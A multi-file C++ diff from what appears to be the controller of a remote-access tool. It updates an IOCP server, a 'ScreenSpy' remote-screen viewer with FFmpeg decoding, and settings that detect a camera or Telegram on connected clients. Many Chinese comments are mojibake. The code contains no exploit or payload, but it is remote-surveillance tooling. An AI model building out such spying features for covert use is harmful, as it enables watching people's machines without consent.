memcpy(m_szPacketFlag, version2, sizeof(version2) - 1);
|
||||
m_nCompareLen = strlen(m_szPacketFlag);
|
||||
m_nFlagLen = 8;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
compressMethod = COMPRESS_NONE;
|
||||
m_Encoder = new Encoder();
|
||||
}
|
||||
else {
|
||||
return PR{ PARSER_FAILED };
|
||||
}
|
||||
@@ -154,12 +170,6 @@ enum IOType
|
||||
IOIdle
|
||||
};
|
||||
|
||||
enum {
|
||||
COMPRESS_UNKNOWN = -2, // δ֪ѹ<D6AA><D1B9><EFBFBD>㷨
|
||||
COMPRESS_ZLIB = -1, // <20><>ǰ<EFBFBD>汾ʹ<E6B1BE>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMPRESS_ZSTD = 0, // <20><>ǰʹ<C7B0>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
typedef struct CONTEXT_OBJECT
|
||||
{
|
||||
CString sClientInfo[10];
|
||||
@@ -175,6 +185,7 @@ typedef struct CONTEXT_OBJECT
|
||||
void *olps; // OVERLAPPEDPLUS
|
||||
int CompressMethod; // ѹ<><D1B9><EFBFBD>㷨
|
||||
HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>
|
||||
BOOL bLogin; // <20>Ƿ<EFBFBD> login
|
||||
|
||||
VOID InitMember()
|
||||
{
|
||||
@@ -187,6 +198,7 @@ typedef struct CONTEXT_OBJECT
|
||||
olps = NULL;
|
||||
CompressMethod = COMPRESS_ZSTD;
|
||||
Parser.Reset();
|
||||
bLogin = FALSE;
|
||||
}
|
||||
VOID SetClientInfo(CString s[10]){
|
||||
for (int i=0; i<sizeof(sClientInfo)/sizeof(CString);i++)
|
||||
@@ -224,7 +236,7 @@ typedef struct CONTEXT_OBJECT
|
||||
}
|
||||
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
|
||||
PR Parse(CBuffer& buf) {
|
||||
return Parser.Parse(buf);
|
||||
return Parser.Parse(buf, CompressMethod);
|
||||
}
|
||||
// Encode data before compress.
|
||||
void Encode(PBYTE data, int len) const {
|
||||
@@ -234,6 +246,12 @@ typedef struct CONTEXT_OBJECT
|
||||
void Decode(PBYTE data, int len) const {
|
||||
Parser.GetEncoder()->Decode((unsigned char*)data, len);
|
||||
}
|
||||
std::string RemoteAddr() const {
|
||||
sockaddr_in ClientAddr = {};
|
||||
int ulClientAddrLen = sizeof(sockaddr_in);
|
||||
int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
|
||||
return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
|
||||
}
|
||||
}CONTEXT_OBJECT,*PCONTEXT_OBJECT;
|
||||
|
||||
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
||||
@@ -274,7 +292,7 @@ public:
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
ULONG m_ulWorkThreadCount;
|
||||
VOID OnAccept();
|
||||
static CRITICAL_SECTION m_cs;
|
||||
CRITICAL_SECTION m_cs;
|
||||
|
||||
/************************************************************************/
|
||||
//<2F><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
|
||||
@@ -286,7 +304,13 @@ public:
|
||||
|
||||
VOID PostRecv(CONTEXT_OBJECT* ContextObject);
|
||||
|
||||
VOID ExitWorkThread() { EnterCriticalSection(&m_cs); --m_ulWorkThreadCount; LeaveCriticalSection(&m_cs); }
|
||||
int AddWorkThread(int n) {
|
||||
EnterCriticalSection(&m_cs);
|
||||
m_ulWorkThreadCount += n;
|
||||
int ret = m_ulWorkThreadCount;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/************************************************************************/
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -301,6 +325,7 @@ public:
|
||||
void UpdateMaxConnection(int maxConn);
|
||||
IOCPServer(void);
|
||||
~IOCPServer(void);
|
||||
void Destroy();
|
||||
|
||||
pfnNotifyProc m_NotifyProc;
|
||||
pfnOfflineProc m_OfflineProc;
|
||||
@@ -347,7 +372,7 @@ public:
|
||||
#if TRACK_OVERLAPPEDPLUS
|
||||
char szLog[100];
|
||||
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||||
OutputDebugStringA(szLog);
|
||||
Mprintf(szLog);
|
||||
#endif
|
||||
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
|
||||
m_ioType = ioType;
|
||||
@@ -358,7 +383,7 @@ public:
|
||||
#if TRACK_OVERLAPPEDPLUS
|
||||
char szLog[100];
|
||||
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||||
OutputDebugStringA(szLog);
|
||||
Mprintf(szLog);
|
||||
#endif
|
||||
}
|
||||
};
|
||||
|
||||
@@ -27,10 +27,13 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
||||
|
||||
#define ALGORITHM_DIFF 1
|
||||
|
||||
extern "C" void* x265_api_get_192() { return nullptr; }
|
||||
|
||||
extern "C" char* __imp_strtok(char* str, const char* delim) { return strtok(str, delim); }
|
||||
|
||||
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: CDialog(CScreenSpyDlg::IDD, Parent)
|
||||
{
|
||||
#ifndef _WIN64
|
||||
m_pCodec = nullptr;
|
||||
m_pCodecContext = nullptr;
|
||||
memset(&m_AVPacket, 0, sizeof(AVPacket));
|
||||
@@ -45,7 +48,6 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC
|
||||
succeed = (0 == avcodec_open2(m_pCodecContext, m_pCodec, 0));
|
||||
}
|
||||
}
|
||||
#endif
|
||||
m_FrameID = 0;
|
||||
ImmDisableIME(0);// 禁用输入法
|
||||
m_bFullScreen = FALSE;
|
||||
@@ -102,7 +104,6 @@ CScreenSpyDlg::~CScreenSpyDlg()
|
||||
{
|
||||
m_BitmapData_Full = NULL;
|
||||
}
|
||||
#ifndef _WIN64
|
||||
if (m_pCodecContext)
|
||||
{
|
||||
avcodec_free_context(&m_pCodecContext);
|
||||
@@ -112,7 +113,6 @@ CScreenSpyDlg::~CScreenSpyDlg()
|
||||
m_pCodec = 0;
|
||||
// AVFrame需要清除
|
||||
av_frame_unref(&m_AVFrame);
|
||||
#endif
|
||||
}
|
||||
|
||||
void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
|
||||
@@ -364,7 +364,6 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
||||
|
||||
|
||||
bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size) {
|
||||
#ifndef _WIN64
|
||||
// 解码数据.
|
||||
av_init_packet(&m_AVPacket);
|
||||
|
||||
@@ -404,7 +403,6 @@ bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size) {
|
||||
else {
|
||||
Mprintf("avcodec_send_packet failed with error: %d\n", err);
|
||||
}
|
||||
#endif
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
@@ -17,7 +17,18 @@ extern "C"
|
||||
|
||||
#pragma comment(lib,"libyuv/libyuv.lib")
|
||||
#else
|
||||
// ȱ<><C8B1>`FFMPEG`<60><>̬<EFBFBD>⣬<EFBFBD><E2A3AC>ʱ<EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD>64λ<34><CEBB><EFBFBD><EFBFBD>!
|
||||
#pragma comment(lib,"x264/libx264_x64.lib")
|
||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||
// https://github.com/ShiftMediaProject/FFmpeg
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib,"libavcodec_x64d.lib")
|
||||
#pragma comment(lib,"libavutil_x64d.lib")
|
||||
#pragma comment(lib,"libswresample_x64d.lib")
|
||||
#else
|
||||
#pragma comment(lib,"libavcodec_x64.lib")
|
||||
#pragma comment(lib,"libavutil_x64.lib")
|
||||
#pragma comment(lib,"libswresample_x64.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#pragma comment(lib, "Mfplat.lib")
|
||||
@@ -78,12 +89,10 @@ public:
|
||||
|
||||
WINDOWPLACEMENT m_struOldWndpl;
|
||||
|
||||
#ifndef _WIN64
|
||||
AVCodec* m_pCodec;
|
||||
AVCodecContext* m_pCodecContext;
|
||||
AVPacket m_AVPacket;
|
||||
AVFrame m_AVFrame;
|
||||
#endif
|
||||
|
||||
bool Decode(LPBYTE Buffer, int size);
|
||||
void EnterFullScreen();
|
||||
|
||||
@@ -7,7 +7,6 @@
|
||||
#include "afxdialogex.h"
|
||||
#include "client/CursorInfo.h"
|
||||
|
||||
|
||||
// CSettingDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CSettingDlg, CDialog)
|
||||
@@ -18,6 +17,8 @@ CSettingDlg::CSettingDlg(CWnd* pParent)
|
||||
, m_nMax_Connect(0)
|
||||
, m_sScreenCapture(_T("GDI"))
|
||||
, m_sScreenCompress(_T("<EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨"))
|
||||
, m_nReportInterval(5)
|
||||
, m_sSoftwareDetect(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"))
|
||||
{
|
||||
}
|
||||
|
||||
@@ -36,6 +37,12 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDV_MaxChars(pDX, m_sScreenCapture, 32);
|
||||
DDX_Control(pDX, IDC_COMBO_SCREEN_COMPRESS, m_ComboScreenCompress);
|
||||
DDX_CBString(pDX, IDC_COMBO_SCREEN_COMPRESS, m_sScreenCompress);
|
||||
DDX_Control(pDX, IDC_EDIT_REPORTINTERVAL, m_EditReportInterval);
|
||||
DDX_Text(pDX, IDC_EDIT_REPORTINTERVAL, m_nReportInterval);
|
||||
DDV_MinMaxInt(pDX, m_nReportInterval, 0, 3600);
|
||||
DDX_Control(pDX, IDC_COMBO_SOFTWAREDETECT, m_ComboSoftwareDetect);
|
||||
DDX_CBString(pDX, IDC_COMBO_SOFTWAREDETECT, m_sSoftwareDetect);
|
||||
DDV_MaxChars(pDX, m_sSoftwareDetect, 256);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
|
||||
@@ -84,7 +91,26 @@ BOOL CSettingDlg::OnInitDialog()
|
||||
|
||||
m_ComboScreenCapture.InsertString(0, "GDI");
|
||||
m_ComboScreenCapture.InsertString(1, "DXGI");
|
||||
m_sScreenCapture = DXGI ? "DXGI" : "GDI";
|
||||
m_ComboScreenCapture.InsertString(2, "VIRTUAL");
|
||||
m_sScreenCapture = DXGI==1 ? "DXGI" : (DXGI == 2 ? "VIRTUAL" : "GDI");
|
||||
|
||||
m_ComboSoftwareDetect.InsertString(SOFTWARE_CAMERA, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ");
|
||||
m_ComboSoftwareDetect.InsertString(SOFTWARE_TELEGRAM, "<EFBFBD>籨");
|
||||
auto str = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ReportInterval", "5");
|
||||
m_nReportInterval = atoi(str.GetBuffer());
|
||||
n = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "SoftwareDetect");
|
||||
switch (n)
|
||||
{
|
||||
case SOFTWARE_CAMERA:
|
||||
m_sSoftwareDetect = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ";
|
||||
break;
|
||||
case SOFTWARE_TELEGRAM:
|
||||
m_sSoftwareDetect = "<EFBFBD>籨";
|
||||
break;
|
||||
default:
|
||||
m_sSoftwareDetect = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ";
|
||||
break;
|
||||
}
|
||||
|
||||
UpdateData(FALSE);
|
||||
|
||||
@@ -105,6 +131,10 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
|
||||
n = m_ComboScreenCompress.GetCurSel();
|
||||
((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetInt("settings", "ScreenCompress", n);
|
||||
|
||||
((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetInt("settings", "ReportInterval", m_nReportInterval);
|
||||
n = m_ComboSoftwareDetect.GetCurSel();
|
||||
((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetInt("settings", "SoftwareDetect", n);
|
||||
|
||||
m_ApplyButton.EnableWindow(FALSE);
|
||||
m_ApplyButton.ShowWindow(SW_HIDE);
|
||||
}
|
||||
|
||||
@@ -32,4 +32,8 @@ public:
|
||||
CString m_sScreenCapture;
|
||||
CComboBox m_ComboScreenCompress;
|
||||
CString m_sScreenCompress;
|
||||
CEdit m_EditReportInterval;
|
||||
int m_nReportInterval;
|
||||
CComboBox m_ComboSoftwareDetect;
|
||||
CString m_sSoftwareDetect;
|
||||
};
|
||||
|
||||